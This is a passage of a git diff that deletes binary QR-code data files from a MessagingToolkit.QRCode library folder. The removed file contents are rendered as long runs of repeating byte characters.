<<;;::99eeffgghh LLKKJJIIxxwwvvuuRRSSTTUU__^^]]\\BBCCDDEE]]\\[[ZZggffeeddWWXXYYZZZZYYXXWWDDEEFFGGmmllkkjj44556677%%$$##""ssrrqqkkyyzz{{||!!""##$$88776655iijjkkllHHGGFFEEttssrrqqVVWWXXYY[[ZZYYXXFFGGHHIIYYXXWWQQccbbaa``[[\\]]^^VVUUTTSSHHIIJJKKiihhggff8899::;;!! jjiihhgg}}~~%%&&''((44332211mmnnooppDDCCBBAAkkjjiihhZZ[[\\]]WWVVUUTTJJKKLLMM PPOONNMM__^^]]\\__``aabb - -RRQQPPOO~~}}||{{LLMMNNOO - -eeddccbb<<==>>??ffeeddcc))**++,,00//..--qqrrsstt@@??>>==ggffeedd^^__``aa SSRRQQPPNNOOPPQQ - - LLKKJJII[[ZZYYXXccddeeff NNMMLLKKzzyyxxwwPPQQRRSS aa``__^^@@AABBCCbbaa``__~~}}--..//00,,++**))uuvvwwxx <<;;::99ccbbaa``bbccddee - - OONNMMLLRRSSTTUUHHGGFFEEWWVVUUTTgghhiijjJJIIHHGGvvuuttssTTUUVVWW]]\\[[ZZDDEEFFGG^^]]\\[[||{{zzyy11223344((''&&%%~~}}yyzz{{||!!""##$$88776655__^^]]\\ffgghhiiKKJJIIHHVVWWXXYYDDCCBBAASSRRQQPPkkllmmnnFFEEDDCCrrqqkkjjXXYYZZ[[YYXXWWVVHHIIJJKKZZYYXXWWxxwwvvuu55667788$$##""!!||{{zzyy}}~~%%&&''((44332211[[ZZYYXXjjkkllmmGGFFEEDDZZ[[\\]]@@??>>==OONNMMLLooppqqrrBBAA@@??iihhggff\\]]^^__UUTTSSRRLLMMNNOO - -QQPPOONNttssrrqq99::;;<< xxwwvvuu))**++,,00//..--WWQQPPOOnnooppqqCCBBAA@@^^__``aa 77665544KKJJIIHHssttuuvv>>==<<;;eeddccbb``aabbcc - - QQPPOONNPPQQRRSS MMLLKKJJponmlkkj==>>??@@ttssrrqq--..//00,,++**))NNMMLLKKrrssttuu??>>==<>==<<''(())**221100//YYXXWWQQllmmnnooEEDDCCBB\\]]^^__AA@@??>>baa``__^IIJJKKLL hhggffee99::;;<< BBAA@@??{{zzyyxx~~&&''(())33221100nnooppqq''&&%%$$;;::9988++,,--....--,,++PPOONNMMppqqrrssAA@@??>>``aabbcc - - ==776655^]]\\[[ZMMNNOOPP - - ddccbbaa==>>??@@>>==7766wwvvuutt**++,,--//..--,,rrssttuu##77665544//001122**))((''LLKKJJIIttuuvvww==<<;;::ddeeffgg 44332211ZYYXXWWVQQRRSSTT``__^^]]AABBCCDD55443322ssrrqqpp..//0011++**))((vvwwxxyy !!3322110033445566&&%%$$##HHGGFFEE~~xxyyzz{{ !!""##99887766hhiijjkk00//..--UTSRQQPPUUVVWWXX\\[[ZZYYEEFFGGHH1100//..oonnmmll22334455''&&%%$$~~}}||zz{{||}}""##$$%%//..--,,778899::""!! DDCCBBAA}}||{{zz||}}~~$$%%&&''55443322llmmnnoo,,++**))OONNMMLLYYZZ[[\\XXWWVVUUIIJJKKLL --,,++**kkjjiihh66778899##""!! {{zzyyxx~~&&''(())++**))((;;<<==>>@@??>>==yyxxwwvv(())**++1100//..ppqqrrss((''&&%%KKJJIIHH]]^^__``TTSSRRQQMMNNOOPP - - ))((''&&ggffeedd::;;<<==wwvvuutt**++,,-- ''&&%%$$??@@AABB77665544uuttssrr,,--..//--,,++**ttuuvvww$$##GGFFEEDDaabbccdd - - PPOONNMMQQRRSSTT%%$$##ccbbaa``>>??@@AAssrrqqpp..//0011 - - - -##""!! CCDDEEFF33221100qqppoonn00112233))((''&&~~xxyyzz{{ !!""##CCBBAA@@eeffgghh LLKKJJIIUUVVWWXX__^^]]\\BBCCDDEEoonnmmll22334455 GGHHIIJJ//..--,,mmllkkjj44556677%%$$##""}}||{{zz||}}~~$$%%&&''??>>==<;iijjkkllHHGGFFEEYYZZ[[\\[[ZZYYXXFFGGHHIIkkjjiihh66778899KKLLMMNN ++**))((iihhggff8899::;;!! yyxxwwvv(())**++:9877665mmnnooppDDCCBBAA]]^^__`` - - WWVVUUTTJJKKLLMM ggffeedd::;;<<==OOPPQQRR - - ''&&%%$$eeddccbb<<==>>??uuttssrr,,--..// 54433221qqrrsstt@@??>>==aabbccdd  SSRRQQPPNNOOPPQQ - - ccbbaa``>>??@@AASSTTUUVV##aa``__^^@@AABBCCqqppoonn00112233 - - 100//..-uuvvwwxx <<;;::99eeffgghh - - OONNMMLLRRSSTTUU__^^]]\\BBCCDDEE## WWXXYYZZ]]\\[[ZZDDEEFFGGmmllkkjj44556677-,,++**)~~}}yyzz{{||!!""##$$88776655iijjkkllKKJJIIHHVVWWXXYY[[ZZYYXXFFGGHHII$$%%&&'' - - [[\\]]^^ - -YYXXWWVVHHIIJJKKiihhggff8899::;; )((''&&%||{{zzyy}}~~%%&&''((44332211mmnnooppGGFFEEDDZZ[[\\]]WWVVUUTTJJKKLLMM(())**++ - - __``aabb UUTTSSRRLLMMNNOO - -eeddccbb<<==>>?? - - %$$##"! xxwwvvuu))**++,,00//..--qqrrsstt##$$%% - -CCBBAA@@^^__``aa SSRRQQPPNNOOPPQQ,,--..//ccddeeff QQPPOONNPPQQRRSS aa``__^^@@AABBCCttssrrqq--..//00,,++**))uuvvwwxx&&''(()) ??>>==<>??@@ooppqqrr##EEDDCCBB\\]]^^__UUTTSSRRLLMMNNOOhhggffee99::;;<< xxwwvvuu2233445533221100nnooppqqCCBBAA@@^^__``aaAABBCCDD !!ssttuuvv$$%%&&'' - - AA@@??>>``aabbcc - - QQPPOONNPPQQRRSS##$$%%&& ddccbbaa==>>??@@ttssrrqq6677==>>//..--,,rrssttuu??>>==<>``aabbcc33445566TTSSRRQQMMNNOOPP - - ddccbbaaKKLLMMNN-..//001wwvvuutt**++,,--//..--,,rrssttuuZZ[[\\]]22334455rrqqppoo==>>??@@ !"#--,,++**ttuuvvww==<<;;::ddeeffgg77==>>?? - - PPOONNMMQQRRSSTT``__^^]]OOPPQQWW12233445ssrrqqpp..//0011++**))((vvwwxxyy^^__``aa66778899nnmmllkkAABBCCDD#$$%%&&'))((''&&~~xxyyzz{{ !!""##99887766hhiijjkk@@AABBCC LLKKJJIIUUVVWWXX\\[[ZZYYXXYYZZ[[5667789:oonnmmll22334455''&&%%$$~~}}||zz{{||}}bbccddee::;;<<==jjiihhggEEFFGGHH'(())**+%%$$##""}}||{{zz||}}~~$$%%&&''55443322llmmnnooDDEEFFGGHHGGFFEEYYZZ[[\\XXWWVVUU\\]]^^__;<==>>??kkjjiihh66778899##""!! {{zzyyxx~~ffgghhii>>??@@AAffeeddccIIJJKKLL+,,--../!! yyxxwwvv(())**++1100//..ppqqrrssHHIIJJKKDDCCBBAA]]^^__``TTSSRRQQ``aabbcc@@AABBCC ggffeedd::;;<<==wwvvuuttjjkkqqrrBBCCDDEEbbaa``__MMNNOOPP/0011223uuttssrr,,--..//--,,++**ttuuvvwwLLMMNNOO@@??>>==aabbccdd - - PPOONNMMddeeffggDDEEFFGG - - ccbbaa``>>??@@AAssrrqqppssttuuvvFFGGHHII^^]]\\[[QQWWXXYY34455667qqppoonn00112233))((''&&~~xxyyzz{{PPQQWWXX <<;;::99eeffgghh LLKKJJIIhhiijjkkHHIIJJKK__^^]]\\BBCCDDEEoonnmmllwwxxyyzzJJKKLLMMZZYYXXWWZZ[[\\]]789:;<==mmllkkjj44556677%%$$##""}}||{{zz||}}~~YYZZ[[\\!!""##$$88776655iijjkkllHHGGFFEEqqrrssttLLMMNNOO[[ZZYYXXFFGGHHIIkkjjiihh{{||}}~~NNOOPPQQVVUUTTSS^^__``aa>>??@@AAiihhggff8899::;;!! yyxxwwvv]]^^__``%%&&''((44332211mmnnooppDDCCBBAAuuvvwwxxPPQQRSTUWWVVUUTTJJKKLLMM ggffeeddRRSSTTUURRQQPPOObbccddeeBBCCDDEE - -eeddccbb<<==>>??uuttssrraabbccdd))**++,,00//..--qqrrsstt@@??>>==yyzz{{||VWWXXYYZ SSRRQQPPNNOOPPQQ - - ccbbaa``VVWWXXYYNNMMLLKKffgghhiiFFGGHHII aa``__^^@@AABBCCqqppoonneeffgghh--..//00,,++**))uuvvwwxx <<;;::99}}~~Z[[\\]]^ - - OONNMMLLRRSSTTUU__^^]]\\ZZ[[\\]]JJIIHHGGjjkkqqrrJJKKLLMM]]\\[[ZZDDEEFFGGmmllkkjjiijjkkqq11223344((''&&%%~~}}yyzz{{||!!""##$$88776655^__``aabKKJJIIHHVVWWXXYY[[ZZYYXX^^__``aaFFEEDDCCssttuuvvNNOOPPQQYYXXWWVVHHIIJJKKiihhggffrrssttuu55667788$$##""!!||{{zzyy}}~~%%&&''((44332211bccddeefGGFFEEDDZZ[[\\]]WWVVUUTTbbccddeeBBAA@@??wwxxyyzzRSTUVWWXUUTTSSRRLLMMNNOO - -eeddccbbvvwwxxyy99::;;<< xxwwvvuu))**++,,00//..--fgghhiijCCBBAA@@^^__``aa SSRRQQPPffgghhii>>==<<;;{{||}}~~XYYZZ[[\ - - QQPPOONNPPQQRRSS aa``__^^zz{{||}}==>>??@@ttssrrqq--..//00,,++**))jkklmnop??>>==<>``aabbcc - - QQPPOONNMMNNOOPP - - ddccbbaa==>>??@@ttssrrqq}}~~**++,,--//..--,,rrssttuu??>>==<>]]^^__``TTSSRRQQMMNNOOPP - - ddccbbaa::;;<<==wwvvuutt**++,,--//..--,,zzyyxxww~~}}||rrqqppoo,,--..//--,,++**ttuuvvww==<<;;::aabbccdd - - PPOONNMMQQRRSSTT``__^^]]>>??@@AAssrrqqpp..//0011++**))((vvuuttss{{zzyyxxnnmmllkk00112233))((''&&~~xxyyzz{{ !!""##99887766eeffgghh LLKKJJIIUUVVWWXX\\[[ZZYYBBCCDDEEoonnmmll22334455''&&%%$$rrqqkkjjwwvvuuttjjiihhgg44556677%%$$##""}}||{{zz||}}~~$$%%&&''55443322iijjkkllHHGGFFEEYYZZ[[\\XXWWVVUUFFGGHHIIkkjjiihh66778899##""!! iihhggffss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t˂pZHAvnXltbXnvbtlHfpv|drnvp|ZdQ`f~dtbpZAb`tArdXQJ`ےJltZHAbtlJpvndrtApZHAXQ|ZdbHAZpdQZ|`JXQrrd|J`ےltbb˂vˍpfJltbے`v`fdQZ|f~f`JtArdnXvtAJlfH~btlHfpvdQZ|JXQr|ZdQbbHAZbdQZ|ے`JXQtArdrXQJ`Jltr˂pQbtl˂rXQdrtAJ˂pZZdQbtbHAZpdQZ|pZHAbH~ㅐfbAdZ|JXQr~HfpdrtAJvXn|ZdQ`f~tbdQZf`vXJtArdnXvdrtAJ˂pZHtlJp˂rdrtAr˂p|ZdQbےHAZbdQZ|ZHAbJAr|J`ےltbHAbےlJtA˂rXQdrtAJے`J`vXndrQt66666666666666666666666666666666666666666666666677777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_0.dat deleted file mode 100644 index c7955f1..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_0.dat +++ /dev/null @@ -1,345 +0,0 @@ -~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopokkkkkklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPONMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqponmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklkkkkkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOOOOONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbaba`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSOPOPOPOPNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSOPOPOPOPNM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~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlkkkkkkljijijijihghghghgfefedcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutststsrqpopopoponmnmnmnmklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmklklklkljijijijihghgfefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOOOOOOPNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmklklklkljijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCBABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvutsrqrqrqrqpopopoponmnmnmnmklklkkkkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmkklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijihghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOOOONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmkkkklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklkjijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQOOOOOPOPNMNMNMNMLKLKLKLKJIHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{zyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWVUVUTSTSTSTSRQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmlkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklkkkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPNMNMNMNMLKJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA~}~}~}|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopokkklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOOOOOONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[ZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOOOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;878787876565656534343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        BABABABA@?@?@?@?>=>=>=>=<;:9:9:9878787876565656534343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        BABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876565656534343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565653434343421212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565653434343421212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=<;<;<;:9:9:9:987878787656565653333334321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?<;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - BABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?>=>=>=<;<;<;<;:9:9:9:98787878765656565434333330/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA>=>=>=>=<;<;<;<;:9:9:9:98787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - 